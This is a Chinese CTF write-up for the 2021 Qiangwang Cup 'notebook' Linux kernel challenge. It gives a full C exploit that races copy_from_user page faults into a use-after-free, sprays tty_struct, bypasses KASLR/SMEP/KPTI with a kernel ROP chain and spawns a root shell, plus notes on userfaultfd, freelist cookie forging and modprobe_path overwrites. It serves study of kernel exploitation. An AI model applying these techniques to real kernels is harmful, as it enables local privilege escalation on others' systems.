强网杯 Notebook writeup -- 4种解法 - 320will

admin 2021年12月31日15:59:53评论134 views字数 13681阅读45分36秒阅读模式

0x00 逆向分析

​ 题目给了有漏洞的内核模块 notebook.ko,内核保护 KASLR、SMAP、SMEP、KPTI 全开。

notebook.ko 给了 4 个功能 noteaddnotedelnoteeditnotegift,加上读写 mynote_readmynote_write 一共 6 种操作。

​ 乍看之下好像没什么明显的溢出漏洞,但是 lock 操作显得有些突兀。Google 一下 lockcopy_from/to_user 发现 copy_from/to_user 可能引发缺页中断(从而导致进程调度),不能在自旋锁的临界区使用。

​ 所以可能就有这样一条链来通过条件竞争来构造:

  1. 通过 noteadd 分配一个 0x20 大小的 slub 块。

  2. 再次执行 noteadd ,size 为 0x60,不过这次我们在 copy_from_user 时让他卡住。这样在mynote_write 的时候就能向我们第一次分配的 0x20 的块内写入 0x60 的数据。

    但是实际情况是 raw_read_lock 没有办法构造我们希望的死锁。需要另想办法。

0x01 Race Condition

​ 看到题目给的 qemu 的启动命令,是有 -smp cores=2,threads=2 的。所以考虑利用 copy_from_user 导致的缺页中断来条件竞争。userfaultfd 可以很好的劫持掉缺页的处理,也可以用风水式的硬竞争来爆这个竞争窗口 (will 解法)。

​ 在 noteedit 函数中,krealloc 把原来的块 kfree 掉并分配一个新块。如果在 copy_from_user 断下来,notebook->note 还没来得及更新,就产生了一个可以利用的 UAF 了。常规的解法思路就是利用这个 UAF 去喷 tty_struct

0x02 利用

​ 这里介绍四种利用姿势,分别是队里 will 师傅的解法、X1cT34m 战队的解法、L-team 战队的解法、长亭师傅的解法。除了 X1cT34m 外,其他的三种解法思路都一样,只是竞争获取 UAF 的方式有差别。

​ 这里只放上 will 的 exp,L-team 战队 exp 见 [强网杯2021-线上赛] Pwn方向writeup By L-team,长亭师傅的 exp 见 第五届强网杯线上赛冠军队 WriteUp - Pwn 篇,X1cT34m 的 exp 见 强网杯2021 Writeup by X1cT34m

exp1

​ 分步骤解析一下 will 的利用:

  1. 通过很多次抢占竞争窗口,获得 notebook 上两个一样的 note 地址。

  2. free 掉其中一个 note 产生 UAF,并用 tty_struct 来喷射这个被 free 的 slub 块。

  3. 通过 tty_struct 中的虚表地址泄露内核基地址,然后劫持虚表,进行内核 ROP。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define __USE_GNU
#include <sched.h>
#include <x86intrin.h>
#include <pthread.h>
#include <sys/sysinfo.h>
#include <errno.h>
#define uint64_t u_int64_t

#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144

#define MAP_ADDR 0x1000000

#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100

int spray_fd[0x100];

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
    struct file *filp, int idx);
    int (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int (*write)(struct tty_struct * tty,
    const unsigned char *buf, int count);
    int (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int (*write_room)(struct tty_struct *tty);
    int (*chars_in_buffer)(struct tty_struct *tty);
    int (*ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
    struct serial_icounter_struct *icount);
    const struct file_operations *proc_fops;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;

size_t commit_creds_addr=0, prepare_kernel_cred_addr=0;

void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
        :
        : "memory");
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Win!");
  execve("/bin/sh", argv, envp);
}

typedef struct userarg{
    uint64_t idx;
    uint64_t size;
    char* buf;
}Userarg;

typedef struct node{
    uint64_t note;
    uint64_t size;
}Node;

Userarg arg;
Node note[0x10];

uint64_t ko_base = 0;
char buf[0x1000] = {0};

int gift(uint64_t fd,char* buf){
    memset(&arg, 0, sizeof(Userarg));
    memset(buf, 0xcc, 0);
    arg.buf = buf;
    return ioctl(fd,100,&arg);
}

int add(uint64_t fd,uint64_t idx,uint64_t size,char* buf){
    memset(&arg, 0, sizeof(Userarg));
    arg.idx = idx;
    arg.size = size;
    arg.buf = buf;
    return ioctl(fd,0x100,&arg);
}

int del(uint64_t fd,uint64_t idx){
    memset(&arg, 0, sizeof(Userarg));
    arg.idx = idx;
    return ioctl(fd,0x200,&arg);
}

int edit(uint64_t fd,uint64_t idx,uint64_t size,char* buf){
    memset(&arg, 0, sizeof(Userarg));
    arg.idx = idx;
    arg.size = size;
    arg.buf = buf;
    return ioctl(fd,0x300,&arg);
}

size_t find_symbols()
{
    int kallsyms_fd = open("/tmp/moduleaddr", O_RDONLY);

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }
    read(kallsyms_fd,buf,24);
    char hex[20] = {0};
    read(kallsyms_fd,hex,18);
    sscanf(hex, "%llx", &ko_base);
    printf("ko_base addr: %#lx\n", ko_base);
}


size_t vmlinux_base = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_do_tty_hangup = 0xffffffff815af980; 
size_t raw_commit_creds = 0xffffffff810a9b40; 
size_t raw_prepare_kernel_cred = 0xffffffff810a9ef0;
size_t raw_regcache_mark_dirty = 0xffffffff816405b0;
size_t raw_x64_sys_chmod = 0xffffffff81262280;
size_t raw_msleep = 0xffffffff81102360;

size_t raw_pop_rdi = 0xffffffff81007115; //pop rdi; ret;
size_t raw_pop_rdx = 0xffffffff81358842; //pop rdx; ret;
size_t raw_pop_rcx = 0xffffffff812688f3; //pop rcx; ret;

//0xffffffff8250747f : mov rdi, rax ; call rdx
//0xffffffff8147901d : mov rdi, rax ; ja 0xffffffff81479013 ; pop rbp ; ret
//size_t raw_mov_rdi_rax = 0xffffffff8195d1c2; //mov rdi, rax; cmp r8, rdx; jne 0x2cecb3; ret; 
size_t raw_mov_rdi_rax = 0xffffffff8147901d;

size_t raw_pop_rax = 0xffffffff81540d04;//pop rax; ret;
size_t raw_mov_rdi_rbx = 0xffffffff824f6a4c; //mov rdi, rbx; call rax;
size_t raw_pop_rsi = 0xffffffff8143438e; //pop rsi; ret;
size_t raw_push_rax =  0xffffffff81035b63;//push rax; ret;
size_t raw_pop_rdi_call = 0xffffffff81f0b51c; //pop rdi; call rcx;
size_t raw_xchg_eax_esp  = 0xffffffff8101d247;

//这里注意一定要使用这个gadget去维持栈平衡
//0xffffffff81063710 : push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
size_t raw_mov_cr4_rdi = 0xffffffff81063710;

size_t base_add(size_t addr){
    return addr - raw_vmlinux_base + vmlinux_base;
}

int main()
{
    find_symbols();
    int fd = open("/dev/notebook", O_RDWR);
    if (fd < 0)
    {
        puts("[*]open notebook error!");
        exit(0);
    }

    struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

    save_state();
    memset(fake_tty_operations, 0, sizeof(struct tty_operations));


START:
    for (int i = 0; i < 0x10; i++)
    {
        del(fd,i);
    }

    //偶数id 用来申请0x2e0的chunk
    for (int i = 0; i < 0x10; i+=2)
    {
        edit(fd, i, 0x2e0, "will");   
    }    

    pid_t pid = fork();
    if (!pid)
    {
        sleep(1);
        for (int i = 0; i < 0x10; i+=2)
        {
            edit(fd, i, 0, 0);  //triggle sleep from page fault
            sleep(0.1);
        }
        return 0;
    }
    else
    {
        for (int i = 0;i < 0x10;i+=2){
            gift(fd, buf);
            while (*(uint64_t *)(buf + i * 0x10 + 8))
            {
                gift(fd, buf);
            }
            //将被释放的偶数id的chunk 用奇数id申请回来, 有几率造成chunk overlap
            edit(fd,i+1,0x2e0,"temp");  
            edit(fd,i,0x2e0,"temp");
        }

        //存储所有的note
        gift(fd, buf);
        for (int i = 0;i < 0x10;i++){
            note[i].note = *(uint64_t *)(buf + i * 0x10);
            note[i].size = *(uint64_t *)(buf + i*0x10 + 8);
            printf("note[%d] addr: %#lx , size: %d\n", i, *(uint64_t *)(buf + i * 0x10), *(uint64_t *)(buf + i*0x10 + 8));
        }
    }

    //找到两个chunk overlap的id
    int x = -1,y = -1;
    for (int i = 0;i < 0x10;i++){
        for (int j = i + 1;j < 0x10;j++){
            if (note[i].note == note[j].note && note[i].note){
                x = i;
                y = j;
                break;
            }
        }
        if (x != -1 && y != -1)
            break;
    }
    //如果没找到,再来一遍
    if (x == -1 || y == -1)
        goto START;
    else{
        printf("x idx : %d\n",x);
        printf("y idx : %d\n",y);
    }

    //此时x和y指向同一块地址空间,释放y,可以用x 去write这块空间
    del(fd,y);

    //多次open保证tty占位
    //因为这里似乎有坑点,查看alloc_tty_struct函数发现,这里的tty大小是0x3a8
    //虽然0x3e8和0x2e0都是0x400的slab,但是单次申请不保证成功
    puts("[+] Spraying buffer with tty_struct");
    for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {
        spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (spray_fd[i] < 0) {
            perror("open tty");
        }
    }

    char tmp[0x2e0] = {0};
    read(fd,tmp,x);
    if (tmp[0] != 0x01 || tmp[1] != 0x54) {
        puts("[-] tty_struct spray failed");
        printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
        puts("[-] Exiting...");
        exit(-1);
    }

    //伪造一个tty vtable,id为y
    char tty_buf[0x200] = {0} ;
    memcpy(tty_buf, fake_tty_operations, sizeof(struct tty_operations));
    edit(fd,y, sizeof(struct tty_operations), "1");
    write(fd, tty_buf, y);
    gift(fd, buf);
    uint64_t fake_vtable = *(uint64_t *)(buf + 0x10*y);

    //读出虚表地址,泄露内核地址 ; 并替换虚表为我们伪造的虚表 
    uint64_t *temp = (uint64_t*)&tmp[24];
    uint64_t old_vtable = *temp;
    *temp = fake_vtable;
    printf("old vtable is %p\n", old_vtable);
    write(fd,tmp,x);
    vmlinux_base   = old_vtable - 0xe8e440;
    printf("kerbel base is %p\n", vmlinux_base);


    //在用户空间mmap 一块切栈后的地址空间
    size_t xchg_eax_esp = base_add(raw_xchg_eax_esp);
    size_t base = xchg_eax_esp & 0xfffff000;
    void *map_addr = mmap((void *)base,0x3000,7,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
    if(base != (uint64_t)map_addr){
        printf("mmap failed!n");
        exit(-1);
    }


    //将fake_vtable中的ioctl函数替换为raw_regcache_mark_dirty函数(one gadget --> two gadget)
    fake_tty_operations->ioctl = base_add(raw_regcache_mark_dirty);
    memset(tty_buf,0,0x200);
    memcpy(tty_buf, fake_tty_operations, sizeof(struct tty_operations));
    write(fd, tty_buf, y);


    *((uint64_t *)(tmp)+0x20/8+3) = base_add(raw_mov_cr4_rdi);  //lock
    *((uint64_t *)(tmp)+0x28/8+3) = xchg_eax_esp; //unlock
    *((uint64_t *)(tmp)+0x30/8+3) = 0x6f0;  //lock_arg ; rdi
    write(fd,tmp,x);

    size_t pop_rdi = base_add(raw_pop_rdi);
    size_t pop_rdx = base_add(raw_pop_rdx);
    size_t mov_rdi_rax = base_add(raw_mov_rdi_rax);
    size_t pop_rsi = base_add(raw_pop_rsi);
    prepare_kernel_cred_addr = base_add(raw_prepare_kernel_cred);
    commit_creds_addr = base_add(raw_commit_creds);
    size_t xor_edi_edi = base_add(0xffffffff8105c0e0);

    //这里swapgs的时候顺便把KPTI关了
    size_t swapgs_restore_regs_and_return_to_usermode =  base_add(0xffffffff81a0095f);

    size_t rop[0x50];
    char* flag_str = "/flag\x00";
    int i=0;
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = xor_edi_edi;
    rop[i++] = mov_rdi_rax;  
    rop[i++] = 0;
    rop[i++] = commit_creds_addr;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode; 
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (unsigned long)&win;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    memcpy((void *)(xchg_eax_esp&0xffffffff),rop,sizeof(rop));


    //debug
    printf("vtable addr : %p\n", fake_vtable);
    printf("regcache_mark_dirty addr : %p\n", base_add(raw_regcache_mark_dirty));
    char x_buf[10];
    read(0,x_buf, 10);

    puts("[+] Triggering");
    for (int i = 0;i < SPRAY_ALLOC_TIMES; i++) {
        ioctl(spray_fd[i], 0, 0); 
    }
    return 0;
}

exp2

​ L-team 战队的 exp 应该是最好理解的:

  1. 分配一个 0x3ff 的块,然后调用 noteedit 将这个块变为 0x400,并在 copy_from_user 时触发缺页。(保证在 realloc 操作时不重新分配,保留原来的块即可)

    add(fd,0,0x20,a);
        //add(fd,0,0,addr);
        edit(fd,0,0x3ff,a);
        edit(fd,0,0x400,addr);
    
  2. 通过 userfaultfd 劫持掉 noteedit 中的 copy_from_user

  3. uffd_handler 中将这个块 free 掉,之后让陷入 uffd 的线程继续被执行。

    static void *
    fault_handler_thread(void *arg)
    {
    // ...
    
            char a[10]="sad";
            edit(fd,0,0x600,a);  // free 掉原来的块
            edit(fd,0,0x400,a);  // 保持原来的 size,为了过 mynote_write 中的 size check
    // ...
        }
    }
    
  1. 在线程继续执行后会执行 noteedit 中的 v5->note = v7,这个 v7 还是最初分配时候的块。而这个块已经在 uffd_handler 中被 free 了。这就产生了 UAF。

  2. 之后的过程和 will 的 exp 一样,喷 tty,构造 ROP。

exp3

​ 长亭的师傅的 exp 的 UAF 构造和前两种又不一样:

  1. 分配 n 个 0x400 大小的块,然后新建 n 个线程通过 noteedit 把这 n 个块 free 掉,并一直卡死。
  2. 这样在主线程看来,已经有 n 个 UAF 的块了。对这 n 个块进行 noteedit 改小 size 过 check。
  3. 通过 tty_struct 喷射,后面的过程又一模一样了。

exp4

​ X1cT34m 的 exp 是这四个里面最简单且最巧妙的。简单在不需要内核 ROP,而是通过 modprobe_path 来提权;巧妙在利用了 slub 的控制字节(freelist 单向链表,类似 fastbin)。

  1. 分配两个 0x60 的块,分别为 chunk1, chunk2。
  2. 通过 gift 读出 chunk1 和 chunk2 的地址。
  3. free(chunk2) , free(chunk1),此时 freelist -> chunk1 -> chunk2
  4. 再次分配 chunk1 和 chunk2,通过 gift 确保和上次分配的是同两个块。
  5. 此时读出 chunk1 的前 8 字节,这 8 字节应为 cookie ^ chunk1_addr ^ chunk2_addr(freelist harden , 详见 Kirin)。这样就能泄露出 cookie。
  6. 然后在 mynote_write 中利用 copy_from_user 形成缺页。
  7. uffd_handler 中 free 掉 chunk1。在恢复执行的时候仍然可以向被 free 掉的 chunk1 中写入构造好的内容。此时我们写入 8 字节 cookie ^ chunk1_addr ^ notebook_addr-0x10 即可将 freelist 链改为 freelist -> chunk1 -> notebook_addr - 0x10 -> 0。(但此时 freelist 链并不合法)
  8. 由于 name 在 bss 上的位置正好在 notebook 的前面,所以可以将 note_addr - 0x10 的地方写为 cookie ^ notebook_addr - 0x10 ^ 0,这样 freelist 链就合法了。
  9. 现在 notebook 可控,就能拿到任意地址读写的权力了。通过 notebook.ko 调用内核函数(计算相对跳转的偏移)的地方泄露内核基地址,然后改写 modprobe_path 来提权。
  10. 最后找到一个至今为止尚不明白的点,就是kmalloc和krealloc的行为不一致的问题。将该exp最后申请notebook_addr - 0x10地址的add函数改为edit函数,会发现始终无法从freelist解链取得,但在简单调试后和阅读源码时又没找到差异点。

0x03 知识点

​ 因为这是俺第一次复现内核题目,所以记录一下一些知识点和一些方法。

userfaultfd

​ 这个在条件竞争中很好用,如果条件竞争的原因是缺页,那么 userfaultfd 可以保证 100% 的竞争成功率。但是要注意的是,ufffd_handler 内,没有办法分配回刚刚放入 freelist 的堆块,正确的姿势是回到主线程再进行分配或者堆喷。

tty_struct

​ 这个堆喷技巧挺常用,但是有个坑点是 tty_struct 的 size 并不一定是 0x2e0。正确定位其 size 的做法是在 ida 中解析 vmlinux ,查找字符串 "&tty->legacy_mutex" 的引用。定位到类似 v2 = (_DWORD *)sub_FFFFFFFF81236300(qword_FFFFFFFF8288F810, 21004480LL, 0x3A8LL); 的函数,最后一个参数就是 tty_struct 的大小。(即使 0x2e0 和 0x3a8 都是 0x400 的 slub)

ONE gadget to TWO gadget

raw_regcache_mark_dirty 函数具有非常好的性质,能够劫持两次程序流而且都能控制第一个参数,不过两次 rdi 的值都是一样的。以及第一次 call 的 gadget 需要保证栈平衡返回。

在本题的内核版本中有设置 rc4 的 gadget。

​ 第二次 call 就可以考虑直接栈迁移进行 ROP 了。由于调用指令是 jmp rax,所以 rax 是确定的,因此需要一个 xchg esp,eax; ret 的 gadget。之后就可以把栈迁移到用户了。

​ 但是注意 KPTI 有个特性是即使关闭了 SMAP 和 SMEP,也只能读写用户空间,不能执行用户空间代码。原因是:

不隔离不意味着完全相同,填充内核态页表项时,KPTI 会给页表项加上_PAGE_NX标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch 里把这一步骤叫 毒化(poison)。

​ 所以还是只能老老实实找内核 gadget,然后打 ROP。

work_for_cpu_fn

​ 这个 gadget 可以直接完成提权,这是长亭师傅的方法,及其简单。

.text:FFFFFFFF81097E90 ; void __fastcall work_for_cpu_fn(work_struct *work)
.text:FFFFFFFF81097E90 work_for_cpu_fn proc near               ; DATA XREF: .init.data:FFFFFFFF825205D0o
.text:FFFFFFFF81097E90 work = rdi                              ; work_struct *
.text:FFFFFFFF81097E90                 call    __fentry__      ; PIC mode
.text:FFFFFFFF81097E95                 push    rbx
.text:FFFFFFFF81097E96                 mov     rbx, work
.text:FFFFFFFF81097E99                 mov     work, [work+28h]
.text:FFFFFFFF81097E9D work = rbx                              ; work_struct *
.text:FFFFFFFF81097E9D                 mov     rax, [work+20h]
.text:FFFFFFFF81097EA1                 call    __x86_indirect_thunk_rax ; PIC mode
.text:FFFFFFFF81097EA6                 mov     [work+30h], rax
.text:FFFFFFFF81097EAA                 pop     work
.text:FFFFFFFF81097EAB                 retn
.text:FFFFFFFF81097EAB work_for_cpu_fn endp

​ 这个函数完成的功能是 *(size_t *)(rdi + 0x30) = ((size_t (*) (size_t))(rdi + 0x20))(rdi + 0x28) ,所以只需要调用两次这个函数就能完成 commit_creds(prepare_kernel_cred(0)) 并且正常返回。

Freelist Harden

​ 编译内核的时候 enable 了 CONFIG_SLAB_FREELIST_HARDENED 选项后就会有 slab_cookie。没有 cookie 的情况下直接像 fastbin 一样就可以任意地址分配。有了 cookie 需要先泄露 cookie,而且还需要布置想要分配位置的值为 cookie ^ self_addr ^ point_value

对应的内核源码为:

*
* Returns freelist pointer (ptr). With hardening, this is obfuscated
* with an XOR of the address where the pointer is held and a per-cache
* random number.
*/
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
    unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
 return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
 return ptr;
#endif

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:59:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   强网杯 Notebook writeup -- 4种解法 - 320willhttp://cn-sec.com/archives/713318.html

发表评论

匿名网友 填写信息